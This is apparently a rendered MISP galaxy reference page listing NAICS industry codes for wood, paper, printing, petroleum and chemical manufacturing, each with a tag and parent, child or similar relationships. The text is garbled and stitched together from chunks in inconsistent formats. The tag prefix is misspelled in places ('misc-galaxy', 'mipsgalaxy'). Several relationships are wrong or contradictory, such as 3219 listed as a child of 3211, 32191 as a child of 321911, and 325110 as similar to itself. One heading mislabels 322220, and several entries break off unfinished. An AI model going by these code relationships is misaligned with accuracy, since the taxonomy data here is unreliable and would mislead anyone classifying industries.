The tag is: misp-galaxy:naics="316990"

View relationships graph

316990 has relationships with:

• child-of: misp-galaxy:naics="3169" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="316990" with estimative-language:likelihood-probability="likely"
316990 has relationships with:

- child-of: misp-galaxy:naics="3169" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31699" with estimative-language:likelihood-probability="likely"

321

Wood Product Manufacturing

The tag is: misp-galaxy:naics="321"

View relationships graph

321 has relationships with:

- parent-of: misp-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3219" with estimative-language:likelihood-probability="likely"

3211

Sawmills and Wood Preservation

The tag is: misp-galaxy:naics="3211"

View relationships graph

3211 has relationships with:

- child-of: misp-galaxy:naics="321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="321114" with estimative-language:likelihood-probability="likely"

32111

Sawmills and Wood Preservation

The tag is: misp-galaxy:naics="32111"

View relationships graph

32111 has relationships with:

- child-of: misp-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"
321113
Sawmills
The tag is: misc-galaxy:naics="321113"
View relationships graph
321113 has relationships with:
  • child-of: misc-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"

321114
Wood Preservation
The tag is: misc-galaxy:naics="321114"
View relationships graph
321114 has relationships with:
  • child-of: misc-galaxy:naics="3211" with estimative-language:likelihood-probability="likely"

3212
Veneer, Plywood, and Engineered Wood Product Manufacturing
The tag is: misc-galaxy:naics="3212"
View relationships graph
3212 has relationships with:
  • child-of: misc-galaxy:naics="321" with estimative-language:likelihood-probability="likely"
  • parent-of: misc-galaxy:naics="32121" with estimative-language:likelihood-probability="likely"
  • parent-of: misc-galaxy:naics="321211" with estimative-language:likelihood-probability="likely"
  • parent-of: misc-galaxy:naics="321212" with estimative-language:likelihood-probability="likely"
  • parent-of: misc-galaxy:naics="321215" with estimative-language:likelihood-probability="likely"
  • parent-of: misc-galaxy:naics="321219" with estimative-language:likelihood-probability="likely"

32121
Veneer, Plywood, and Engineered Wood Product Manufacturing
The tag is: misc-galaxy:naics="32121"
View relationships graph
32121 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321211

Hardwood Veneer and Plywood Manufacturing

The tag is: misp-galaxy:naics="321211"

View relationships graph

321211 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321212

Softwood Veneer and Plywood Manufacturing

The tag is: misp-galaxy:naics="321212"

View relationships graph

321212 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321215

Engineered Wood Member Manufacturing

The tag is: misp-galaxy:naics="321215"

View relationships graph

321215 has relationships with:

- child-of: misp-galaxy:naics="3212" with estimative-language:likelihood-probability="likely"

321219

Reconstituted Wood Product Manufacturing

The tag is: misp-galaxy:naics="321219"

View relationships graph

321219 has relationships with:
3219

Other Wood Product Manufacturing

The tag is: `misp-galaxy:naics="3219"`

View relationships graph

3219 has relationships with:

- child-of: `misp-galaxy:naics="3211"`
- parent-of: `misp-galaxy:naics="32191"`
- parent-of: `misp-galaxy:naics="321911"`
- parent-of: `misp-galaxy:naics="321912"`
- parent-of: `misp-galaxy:naics="321918"`
- parent-of: `misp-galaxy:naics="32192"`
- parent-of: `misp-galaxy:naics="321920"`
- parent-of: `misp-galaxy:naics="32199"`
- parent-of: `misp-galaxy:naics="321991"`
- parent-of: `misp-galaxy:naics="321992"`
- parent-of: `misp-galaxy:naics="321999"`

32191

Millwork

The tag is: `misp-galaxy:naics="32191"`

View relationships graph

32191 has relationships with:

- child-of: `misp-galaxy:naics="321911"`

321911

Wood Window and Door Manufacturing

The tag is: `misp-galaxy:naics="321911"`

View relationships graph

321911 has relationships with:
321912
Cut Stock, Resawing Lumber, and Planing
The tag is: *misp-galaxy:naics*="321912"

View relationships graph

321912 has relationships with:

- child-of: *misp-galaxy:naics*="3219" with estimative-language:likelihood-probability="likely"

321918
Other Millwork (including Flooring)
The tag is: *misp-galaxy:naics*="321918"

View relationships graph

321918 has relationships with:

- child-of: *misp-galaxy:naics*="3219" with estimative-language:likelihood-probability="likely"

32192
Wood Container and Pallet Manufacturing
The tag is: *misp-galaxy:naics*="32192"

View relationships graph

32192 has relationships with:

- child-of: *misp-galaxy:naics*="3219" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="321920" with estimative-language:likelihood-probability="likely"

321920
Wood Container and Pallet Manufacturing
The tag is: *misp-galaxy:naics*="321920"

View relationships graph

321920 has relationships with:

- child-of: *misp-galaxy:naics*="3219" with estimative-language:likelihood-probability="likely"
32199
All Other Wood Product Manufacturing
The tag is: `misp-galaxy:naics="32199"`
View relationships graph
32199 has relationships with:
• child-of: `misp-galaxy:naics="3219"` with estimative-language:likelihood-probability="likely"

321991
Manufactured Home (Mobile Home) Manufacturing
The tag is: `misp-galaxy:naics="321991"`
View relationships graph
321991 has relationships with:
• child-of: `misp-galaxy:naics="3219"` with estimative-language:likelihood-probability="likely"

321992
Prefabricated Wood Building Manufacturing
The tag is: `misp-galaxy:naics="321992"`
View relationships graph
321992 has relationships with:
• child-of: `misp-galaxy:naics="3219"` with estimative-language:likelihood-probability="likely"

321999
All Other Miscellaneous Wood Product Manufacturing
The tag is: `misp-galaxy:naics="321999"`
View relationships graph
321999 has relationships with:
• child-of: `misp-galaxy:naics="3219"` with estimative-language:likelihood-probability="likely"
322

Paper Manufacturing

The tag is: misp-galaxy:naics="322"

View relationships graph

322 has relationships with:

- parent-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

3221

Pulp, Paper, and Paperboard Mills

The tag is: misp-galaxy:naics="3221"

View relationships graph

3221 has relationships with:

- child-of: misp-galaxy:naics="322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322130" with estimative-language:likelihood-probability="likely"

32211

Pulp Mills

The tag is: misp-galaxy:naics="32211"

View relationships graph

32211 has relationships with:

- child-of: misp-galaxy:naics="322" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322110" with estimative-language:likelihood-probability="likely"
322110
Pulp Mills

The tag is: misp-galaxy:naics="322110"

View relationships graph

322110 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32211" with estimative-language:likelihood-probability="likely"

32212
Paper Mills

The tag is: misp-galaxy:naics="32212"

View relationships graph

32212 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322120" with estimative-language:likelihood-probability="likely"

322120
Paper Mills

The tag is: misp-galaxy:naics="322120"

View relationships graph

322120 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32212" with estimative-language:likelihood-probability="likely"

32213
Paperboard Mills

The tag is: misp-galaxy:naics="32213"

View relationships graph

32213 has relationships with:
322130

Paperboard Mills

The tag is: misp-galaxy:naics="322130"

View relationships graph

322130 has relationships with:

- child-of: misp-galaxy:naics="3221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32213" with estimative-language:likelihood-probability="likely"

3222

Converted Paper Product Manufacturing

The tag is: misp-galaxy:naics="3222"

View relationships graph

3222 has relationships with:

- child-of: misp-galaxy:naics="322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322219" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322239" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="322291" with estimative-language:likelihood-probability="likely"

32221

Paperboard Container Manufacturing

The tag is: misp-galaxy:naics="32221"
View relationships graph

32221 has relationships with:

- `child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322211

Corrugated and Solid Fiber Box Manufacturing

The tag is: `misp-galaxy:naics="322211"

View relationships graph

322211 has relationships with:

- `child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322212

Folding Paperboard Box Manufacturing

The tag is: `misp-galaxy:naics="322212"

View relationships graph

322212 has relationships with:

- `child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

322219

Other Paperboard Container Manufacturing

The tag is: `misp-galaxy:naics="322219"

View relationships graph

322219 has relationships with:

- `child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"

32222

Paper Bag and Coated and Treated Paper Manufacturing

The tag is: `misp-galaxy:naics="32222"

View relationships graph
32222 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322220" with estimative-language:likelihood-probability="likely"

### 32222

Paper Bag and Coated and Treated Paper Manufacturing

The tag is: *misp-galaxy:naics="322220"*

View relationships graph

322220 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32222" with estimative-language:likelihood-probability="likely"

### 32223

Stationery Product Manufacturing

The tag is: *misp-galaxy:naics="32223"*

View relationships graph

32223 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="322230" with estimative-language:likelihood-probability="likely"

### 322230

Stationery Product Manufacturing

The tag is: *misp-galaxy:naics="322230"*

View relationships graph

322230 has relationships with:

- child-of: misp-galaxy:naics="3222" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32223" with estimative-language:likelihood-probability="likely"

### 32229

Other Converted Paper Product Manufacturing
The tag is: `misp-galaxy:naics="32229"`

**View relationships graph**

32229 has relationships with:

- child-of: `misp-galaxy:naics="3222"` with estimative-language:likelihood-probability="likely"

### 322291

Sanitary Paper Product Manufacturing

The tag is: `misp-galaxy:naics="322291"`

**View relationships graph**

322291 has relationships with:

- child-of: `misp-galaxy:naics="3222"` with estimative-language:likelihood-probability="likely"

### 322299

All Other Converted Paper Product Manufacturing

The tag is: `misp-galaxy:naics="322299"`

**View relationships graph**

322299 has relationships with:

- child-of: `misp-galaxy:naics="3222"` with estimative-language:likelihood-probability="likely"

### 323

Printing and Related Support Activities

The tag is: `misp-galaxy:naics="323"`

**View relationships graph**

323 has relationships with:

- parent-of: `misp-galaxy:naics="3231"` with estimative-language:likelihood-probability="likely"

### 3231

Printing and Related Support Activities

The tag is: `misp-galaxy:naics="3231"`
3231 has relationships with:

- child-of: misp-galaxy:naics="323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323117" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="323120" with estimative-language:likelihood-probability="likely"

32311

Printing

The tag is: misp-galaxy:naics="32311"

View relationships graph

32311 has relationships with:

- child-of: misp-galaxy:naics="323" with estimative-language:likelihood-probability="likely"

323111

Commercial Printing (except Screen and Books)

The tag is: misp-galaxy:naics="323111"

View relationships graph

323111 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"

323113

Commercial Screen Printing

The tag is: misp-galaxy:naics="323113"

View relationships graph

323113 has relationships with:

- child-of: misp-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"
323117
Books Printing
The tag is: misc-galaxy:naics="323117"
View relationships graph
323117 has relationships with:
  • child-of: misc-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"

32312
Support Activities for Printing
The tag is: misc-galaxy:naics="32312"
View relationships graph
32312 has relationships with:
  • child-of: misc-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"
  • similar: misc-galaxy:naics="323120" with estimative-language:likelihood-probability="likely"

323120
Support Activities for Printing
The tag is: misc-galaxy:naics="323120"
View relationships graph
323120 has relationships with:
  • child-of: misc-galaxy:naics="3231" with estimative-language:likelihood-probability="likely"
  • similar: misc-galaxy:naics="32312" with estimative-language:likelihood-probability="likely"

324
Petroleum and Coal Products Manufacturing
The tag is: misc-galaxy:naics="324"
View relationships graph
324 has relationships with:
  • parent-of: misc-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"
3241
Petroleum and Coal Products Manufacturing
The tag is: \textit{misp-galaxy:naics="3241"}

View relationships graph

3241 has relationships with:

- child-of: \textit{misp-galaxy:naics="324"} with estimative-language:likelihood-probability="likely"
- parent-of: \textit{misp-galaxy:naics="324121"} with estimative-language:likelihood-probability="likely"

32411
Petroleum Refineries
The tag is: \textit{misp-galaxy:naics="32411"}

View relationships graph

32411 has relationships with:

- child-of: \textit{misp-galaxy:naics="3241"} with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics="324110"} with estimative-language:likelihood-probability="likely"

324110
Petroleum Refineries
The tag is: \textit{misp-galaxy:naics="324110"}

View relationships graph

324110 has relationships with:

- child-of: \textit{misp-galaxy:naics="3241"} with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics="32411"} with estimative-language:likelihood-probability="likely"
32412
Asphalt Paving, Roofing, and Saturated Materials Manufacturing

The tag is: misp-galaxy:naics="32412"

View relationships graph

32412 has relationships with:
  • child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

324121
Asphalt Paving Mixture and Block Manufacturing

The tag is: misp-galaxy:naics="324121"

View relationships graph

324121 has relationships with:
  • child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

324122
Asphalt Shingle and Coating Materials Manufacturing

The tag is: misp-galaxy:naics="324122"

View relationships graph

324122 has relationships with:
  • child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

32419
Other Petroleum and Coal Products Manufacturing

The tag is: misp-galaxy:naics="32419"

View relationships graph

32419 has relationships with:
  • child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"
324191
Petroleum Lubricating Oil and Grease Manufacturing
The tag is: misp-galaxy:naics="324191"
View relationships graph
324191 has relationships with:
• child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

324199
All Other Petroleum and Coal Products Manufacturing
The tag is: misp-galaxy:naics="324199"
View relationships graph
324199 has relationships with:
• child-of: misp-galaxy:naics="3241" with estimative-language:likelihood-probability="likely"

325
Chemical Manufacturing
The tag is: misp-galaxy:naics="325"
View relationships graph
325 has relationships with:
• parent-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3253" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3255" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="3259" with estimative-language:likelihood-probability="likely"

3251
Basic Chemical Manufacturing
The tag is: misp-galaxy:naics="3251"
3251 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32512" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32513" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325130" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32518" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325180" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32519" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325193" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325199" with estimative-language:likelihood-probability="likely"

32511

Petrochemical Manufacturing

The tag is: misp-galaxy:naics="32511"

View relationships graph

32511 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325110" with estimative-language:likelihood-probability="likely"

325110

Petrochemical Manufacturing

The tag is: misp-galaxy:naics="325110"

View relationships graph

325110 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325110" with estimative-language:likelihood-probability="likely"
32512
Industrial Gas Manufacturing
The tag is: misp-galaxy:naics="32512"
View relationships graph
32512 has relationships with:
  • child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="325120" with estimative-language:likelihood-probability="likely"

325120
Industrial Gas Manufacturing
The tag is: misp-galaxy:naics="325120"
View relationships graph
325120 has relationships with:
  • child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="32512" with estimative-language:likelihood-probability="likely"

32513
Synthetic Dye and Pigment Manufacturing
The tag is: misp-galaxy:naics="32513"
View relationships graph
32513 has relationships with:
  • child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="325130" with estimative-language:likelihood-probability="likely"

325130
Synthetic Dye and Pigment Manufacturing
The tag is: misp-galaxy:naics="325130"
View relationships graph
325130 has relationships with:
• child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="32513" with estimative-language:likelihood-probability="likely"

32518
Other Basic Inorganic Chemical Manufacturing
The tag is: misp-galaxy:naics="32518"
View relationships graph
32518 has relationships with:
• child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="325180" with estimative-language:likelihood-probability="likely"

325180
Other Basic Inorganic Chemical Manufacturing
The tag is: misp-galaxy:naics="325180"
View relationships graph
325180 has relationships with:
• child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="32518" with estimative-language:likelihood-probability="likely"

32519
Other Basic Organic Chemical Manufacturing
The tag is: misp-galaxy:naics="32519"
View relationships graph
32519 has relationships with:
• child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

325193
Ethyl Alcohol Manufacturing
The tag is: misp-galaxy:naics="325193"
View relationships graph
325193 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

325194

Cyclic Crude, Intermediate, and Gum and Wood Chemical Manufacturing

The tag is: misp-galaxy:naics="325194"

View relationships graph

325194 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

325199

All Other Basic Organic Chemical Manufacturing

The tag is: misp-galaxy:naics="325199"

View relationships graph

325199 has relationships with:

- child-of: misp-galaxy:naics="3251" with estimative-language:likelihood-probability="likely"

3252

Resin, Synthetic Rubber, and Artificial and Synthetic Fibers and Filaments Manufacturing

The tag is: misp-galaxy:naics="3252"

View relationships graph

3252 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325220" with estimative-language:likelihood-probability="likely"
32521
Resin and Synthetic Rubber Manufacturing
The tag is: misp-galaxy:naics="32521"
View relationships graph
32521 has relationships with:
• child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"

325211
Plastics Material and Resin Manufacturing
The tag is: misp-galaxy:naics="325211"
View relationships graph
325211 has relationships with:
• child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"

325212
Synthetic Rubber Manufacturing
The tag is: misp-galaxy:naics="325212"
View relationships graph
325212 has relationships with:
• child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"

32522
Artificial and Synthetic Fibers and Filaments Manufacturing
The tag is: misp-galaxy:naics="32522"
View relationships graph
32522 has relationships with:
• child-of: misp-galaxy:naics="3252" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="325220" with estimative-language:likelihood-probability="likely"
325220
Artificial and Synthetic Fibers and Filaments Manufacturing
The tag is: `misp-galaxy:naics="325220"`

View relationships graph

325220 has relationships with:

- child-of: `misp-galaxy:naics="3252"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="32522"` with estimative-language:likelihood-probability="likely"

3253
Pesticide, Fertilizer, and Other Agricultural Chemical Manufacturing
The tag is: `misp-galaxy:naics="3253"`

View relationships graph

3253 has relationships with:

- child-of: `misp-galaxy:naics="325"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="32531"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="325311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="325312"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="325315"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="32532"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="325320"` with estimative-language:likelihood-probability="likely"

32531
Fertilizer and Compost Manufacturing
The tag is: `misp-galaxy:naics="32531"`

View relationships graph

32531 has relationships with:

- child-of: `misp-galaxy:naics="3253"` with estimative-language:likelihood-probability="likely"
325311
Nitrogenous Fertilizer Manufacturing
The tag is: *misp-galaxy:naics="325311"*
[View relationships graph]
325311 has relationships with:
  • child-of: *misp-galaxy:naics="3253"* with estimative-language:likelihood-probability="likely"

325312
Phosphatic Fertilizer Manufacturing
The tag is: *misp-galaxy:naics="325312"*
[View relationships graph]
325312 has relationships with:
  • child-of: *misp-galaxy:naics="3253"* with estimative-language:likelihood-probability="likely"

325314
Fertilizer (Mixing Only) Manufacturing
The tag is: *misp-galaxy:naics="325314"*
[View relationships graph]
325314 has relationships with:
  • child-of: *misp-galaxy:naics="3253"* with estimative-language:likelihood-probability="likely"

325315
Compost Manufacturing
The tag is: *misp-galaxy:naics="325315"*
[View relationships graph]
325315 has relationships with:
  • child-of: *misp-galaxy:naics="3253"* with estimative-language:likelihood-probability="likely"
32532
Pesticide and Other Agricultural Chemical Manufacturing

The tag is: mipsgalaxy:naics="32532"

View relationships graph

32532 has relationships with:

- child-of: mipsgalaxy:naics="3253" with estimative-language:likelihood-probability="likely"
- similar: mipsgalaxy:naics="325320" with estimative-language:likelihood-probability="likely"

325320
Pesticide and Other Agricultural Chemical Manufacturing

The tag is: mipsgalaxy:naics="325320"

View relationships graph

325320 has relationships with:

- child-of: mipsgalaxy:naics="3253" with estimative-language:likelihood-probability="likely"
- similar: mipsgalaxy:naics="32532" with estimative-language:likelihood-probability="likely"

3254
Pharmaceutical and Medicine Manufacturing

The tag is: mipsgalaxy:naics="3254"

View relationships graph

3254 has relationships with:

- child-of: mipsgalaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="32541" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="325411" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="325412" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="325413" with estimative-language:likelihood-probability="likely"
- parent-of: mipsgalaxy:naics="325414" with estimative-language:likelihood-probability="likely"

32541
Pharmaceutical and Medicine Manufacturing
The tag is: *misp-galaxy:naics="32541"

View relationships graph

32541 has relationships with:

- child-of: *misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

### 325411

Medicinal and Botanical Manufacturing

The tag is: *misp-galaxy:naics="325411"

View relationships graph

325411 has relationships with:

- child-of: *misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

### 325412

Pharmaceutical Preparation Manufacturing

The tag is: *misp-galaxy:naics="325412"

View relationships graph

325412 has relationships with:

- child-of: *misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

### 325413

In-Vitro Diagnostic Substance Manufacturing

The tag is: *misp-galaxy:naics="325413"

View relationships graph

325413 has relationships with:

- child-of: *misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

### 325414

Biological Product (except Diagnostic) Manufacturing

The tag is: *misp-galaxy:naics="325414"
325414 has relationships with:

- child-of: misp-galaxy:naics="3254" with estimative-language:likelihood-probability="likely"

**3255**

Paint, Coating, and Adhesive Manufacturing

The tag is: misp-galaxy:naics="3255"

3255 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325510" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32552" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325520" with estimative-language:likelihood-probability="likely"

**32551**

Paint and Coating Manufacturing

The tag is: misp-galaxy:naics="32551"

32551 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325510" with estimative-language:likelihood-probability="likely"

**325510**

Paint and Coating Manufacturing

The tag is: misp-galaxy:naics="325510"

325510 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32551" with estimative-language:likelihood-probability="likely"
32552

Adhesive Manufacturing

The tag is: `misp-galaxy:naics="32552"`

View relationships graph

32552 has relationships with:

- child-of: `misp-galaxy:naics="3255"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:naics="325520"` with `estimative-language:likelihood-probability="likely"`

325520

Adhesive Manufacturing

The tag is: `misp-galaxy:naics="325520"`

View relationships graph

325520 has relationships with:

- child-of: `misp-galaxy:naics="3255"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:naics="32552"` with `estimative-language:likelihood-probability="likely"`

3256

Soap, Cleaning Compound, and Toilet Preparation Manufacturing

The tag is: `misp-galaxy:naics="3256"`

View relationships graph

3256 has relationships with:

- child-of: `misp-galaxy:naics="325"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="32561"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="325611"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="325612"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="325613"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="32562"` with `estimative-language:likelihood-probability="likely"`
- parent-of: `misp-galaxy:naics="325620"` with `estimative-language:likelihood-probability="likely"`
32561
Soap and Cleaning Compound Manufacturing
The tag is: misp-galaxy:naics="32561"
View relationships graph
32561 has relationships with:
  • child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"

325611
Soap and Other Detergent Manufacturing
The tag is: misp-galaxy:naics="325611"
View relationships graph
325611 has relationships with:
  • child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"

325612
Polish and Other Sanitation Good Manufacturing
The tag is: misp-galaxy:naics="325612"
View relationships graph
325612 has relationships with:
  • child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"

325613
Surface Active Agent Manufacturing
The tag is: misp-galaxy:naics="325613"
View relationships graph
325613 has relationships with:
  • child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"
32562
Toilet Preparation Manufacturing
The tag is: misp-galaxy:naics="32562"

View relationships graph

32562 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="325620" with estimative-language:likelihood-probability="likely"

325620
Toilet Preparation Manufacturing
The tag is: misp-galaxy:naics="325620"

View relationships graph

325620 has relationships with:

- child-of: misp-galaxy:naics="3256" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="32562" with estimative-language:likelihood-probability="likely"

3259
Other Chemical Product and Preparation Manufacturing
The tag is: misp-galaxy:naics="3259"

View relationships graph

3259 has relationships with:

- child-of: misp-galaxy:naics="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="325910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32592" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="32599" with estimative-language:likelihood-probability="likely"
